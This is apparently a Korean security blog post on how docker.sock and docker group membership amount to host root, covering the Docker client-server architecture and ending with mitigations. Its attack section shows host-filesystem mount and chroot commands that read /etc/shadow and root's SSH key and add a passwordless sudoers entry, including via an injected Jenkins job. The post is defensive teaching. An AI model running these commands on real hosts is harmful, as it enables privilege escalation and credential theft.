cd ../
Misc·2026-05-14·5 min read·# entry/042

docker.sock: 편의성 뒤에 숨겨진 root 권한

docker CLI가 명령을 실행할 때 내부에서 무슨 일이 벌어지는지, 그리고 docker 그룹 멤버십이 사실상 root 권한과 동등한 이유를 UDS 통신 구조부터 공격 시나리오까지 정리합니다.

docker ps 한 줄을 입력할 때 내부에서 어떤 일이 벌어질까요? Docker는 단순한 CLI 도구가 아니라 클라이언트-서버 아키텍처 위에서 동작합니다.

docker.sock에 접근할 수 있다는 것은, root 권한이 필요한 모든 작업을 dockerd를 통해 실행할 수 있다는 의미입니다.


Docker의 클라이언트-서버 구조

Docker는 두 개의 독립된 컴포넌트로 나뉩니다.

사용자
  ↓ 명령 입력
docker CLI          ← 단순한 HTTP 클라이언트
  ↓ HTTP 요청
/var/run/docker.sock
  ↓
dockerd             ← root로 실행되는 데몬. 실제 컨테이너 생성/관리 담당
  ↓ syscall
Linux Kernel        ← namespace, cgroup, mount 등 특권 작업 수행

비유하자면 다음과 같습니다.

역할Docker 구성요소비유
클라이언트docker CLIcurl
통신 채널docker.sockhttp://localhost:8080
서버dockerd비즈니스 로직을 담은 애플리케이션

docker run이나 docker ps는 Docker가 직접 컨테이너를 만드는 게 아닙니다. dockerd라는 별도의 데몬에게 명령을 전달하는 것입니다.


Unix Domain Socket(UDS)이란?

Docker CLI와 dockerd 사이의 통신 채널이 바로 UDS(Unix Domain Socket) 입니다.

일반적인 HTTP, TCP 커넥션에서 사용하는 방식입니다.

프로세스 A → Port → 네트워크 스택 → 프로세스 B

패킷화, 체크섬 계산, 라우팅, 흐름 제어 등 여러 단계를 거칩니다.

UDS가 TCP/IP보다 빠르고 안전한 이유

빠른 이유
  • TCP/IP의 패킷화, 체크섬 계산, 라우팅, 흐름 제어 단계를 모두 생략 - 커널 메모리에서 버퍼 간 직접 복사 - 벤치마크상 보통 2~5배 빠름, 레이턴시 차이는 그보다 큼
안전한 이유
  • TCP/IP와 달리 네트워크에 노출되지 않아 원격 공격이 원천 차단 - 파일시스템 권한(chmod)으로 접근 제어 - 방화벽 설정 실수와 무관하게 외부 접근 불가

docker.sock은 파일 권한으로 보호됩니다.

ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May 14 09:00 /var/run/docker.sock
#                   ^^^^^^
#                   docker 그룹에 속한 사용자만 접근 가능

맨 앞의 s는 일반 파일이 아닌 소켓 타입임을 의미합니다.


docker ps를 입력하면 내부에서 일어나는 일

1. docker CLI가 명령을 파싱한다.
2. CLI가 /var/run/docker.sock으로 HTTP 요청을 전송한다.
3. dockerd가 컨테이너 목록을 조회해 JSON으로 응답한다.
4. CLI가 응답을 파싱하여 테이블로 출력한다.

UDS 위에 HTTP가 얹혀 있기 때문에, docker ps 대신 curl로 동일한 결과를 얻을 수 있습니다.

# UDS로 HTTP 요청 직접 보내기
curl --unix-socket /var/run/docker.sock \
  http://localhost/v1.43/containers/json | jq

# 위와 완전히 동일한 결과
docker ps
REST API로 동작한다는 의미

dockerd는 REST API 서버입니다. GET /containers/json, POST /containers/create 같은 엔드포인트가 존재하며, Docker CLI는 이 API의 클라이언트일 뿐입니다. docker SDK나 curl로도 동일하게 제어할 수 있습니다.


docker.sock = 사실상 root 권한

여기서 핵심 보안 이슈가 등장합니다.

dockerd는 컨테이너를 만들기 위해 namespace 설정, cgroup 조작, 파일시스템 마운트 같은 특권 syscall이 필요합니다. 따라서 dockerd는 항상 root 권한으로 실행됩니다.

일반 유저 (guest)
  ↓ docker CLI로 명령 전송 (일반 유저 권한)
docker.sock
  ↓
dockerd (root 권한으로 실행 중)
  ↓ 실제 작업은 root로 수행

docker 그룹에 속한 일반 사용자가 할 수 있는 것들은 다음과 같습니다.

  • 호스트 디렉토리를 컨테이너에 마운트
  • --privileged 모드로 컨테이너 실행
  • 호스트 네트워크 사용 (--network host)
  • 호스트 PID namespace 공유 (--pid host)

이 모든 것이 dockerd가 가진 root 능력입니다.


공격 시나리오: docker 그룹 → 호스트 root 탈취

가정: docker 그룹에 속한 일반 사용자 'guest'

sudo 권한 없이도 docker 명령을 사용할 수 있는 상태입니다.

Step 1. 현재 권한 확인

whoami
# guest

sudo whoami
# [sudo] password for guest:  ← 비밀번호 필요, root 아님

Step 2. docker를 통한 호스트 루트 파일시스템 마운트

docker run -it --rm -v /:/host alpine chroot /host /bin/sh

이 명령은 다음 순서로 동작합니다.

1. alpine 컨테이너 실행
2. 호스트의 루트 디렉토리(/)를 컨테이너의 /host에 마운트
3. chroot /host → 컨테이너의 루트를 호스트 파일시스템으로 변경
4. /bin/sh 실행

Step 3. 컨테이너 안에서 호스트 root

whoami
# root  ← 컨테이너 안이지만 호스트 파일시스템에 대한 root

# 호스트의 /etc/shadow 열람 (모든 사용자 패스워드 해시)
cat /etc/shadow

# 호스트 sudoers 파일 직접 수정
echo "guest ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 호스트 root의 SSH 개인키 탈취
cat /root/.ssh/id_rsa
docker 그룹 = 사실상 root

이 시나리오에서 guest는 sudo 권한 없이도 호스트의 모든 파일에 접근하고 수정했습니다. docker 그룹 멤버십은 Linux 보안 모델에서 root 권한과 동등하게 취급해야 합니다.


DooD: 컨테이너에 docker.sock을 마운트한다는 것

CI/CD 파이프라인에서 자주 사용되는 DooD(Docker-out-of-Docker) 패턴이 있습니다. Jenkins 같은 빌드 컨테이너 안에서 docker build를 실행하기 위해 호스트의 소켓을 컨테이너에 그대로 마운트하는 방식입니다.

# docker-compose.yml
services:
  jenkins:
    image: jenkins/jenkins
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock  # 호스트 소켓 마운트

이 경우 Jenkins 컨테이너 안에서 실행한 docker build가 어디서 동작하는지가 핵심입니다.

Jenkins 컨테이너 내부
  └─ docker CLI → /var/run/docker.sock → 호스트의 dockerd
                                              ↓
                                    새 컨테이너 생성 (호스트 레벨)

Jenkins 컨테이너가 만든 컨테이너들은 Jenkins의 자식이 아닌 형제 관계입니다. 모두 호스트의 dockerd가 직접 관리합니다.

DooD의 보안 함의

Jenkins 컨테이너 침해 = 호스트 전체 침해

공격 시나리오:

  1. 누군가 Jenkins Job 설정에 악성 스크립트를 주입한다.
  2. Jenkins가 해당 Job을 실행한다.
  3. Jenkins 컨테이너 안에서 다음 한 줄이 실행된다.
docker run -v /:/host alpine chroot /host /bin/sh -c "cat /root/.ssh/id_rsa > /tmp/key"
  1. 호스트 전체가 침해된다.

Jenkins 컨테이너의 격리는 docker.sock이 마운트된 순간 무의미해집니다.


정리

docker.sock 접근 권한의 의미

docker CLI (일반 유저)
  ↓ UDS 통신
docker.sock ← 이 파일에 쓰기 권한 = 아래 모든 것 가능
  ↓
dockerd (root 실행)
  ├─ 호스트 파일시스템 마운트
  ├─ privileged 컨테이너 실행
  ├─ 호스트 네트워크/PID namespace 공유
  └─ 모든 특권 syscall 실행
실무에서의 원칙
  • docker 그룹에 사용자를 추가하는 것은 sudo 권한 부여와 동일하게 취급할 것
  • DooD 패턴 사용 시 Jenkins Job의 코드 실행 권한과 접근 제어를 엄격히 관리할 것
  • 보안이 중요한 환경에서는 DooD 대신 Rootless Docker 또는 Kaniko, Buildah 같은 대안을 검토할 것